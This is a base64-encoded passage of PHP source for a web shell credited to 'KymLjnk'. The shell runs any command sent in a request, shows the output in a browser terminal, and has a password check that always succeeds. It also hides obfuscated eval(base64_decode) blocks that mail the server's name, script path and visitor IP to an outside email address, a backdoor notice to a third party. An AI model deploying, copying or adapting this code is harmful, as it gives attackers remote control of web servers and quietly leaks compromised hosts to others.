CRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2QwYUdGdVozZHZiekZBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzP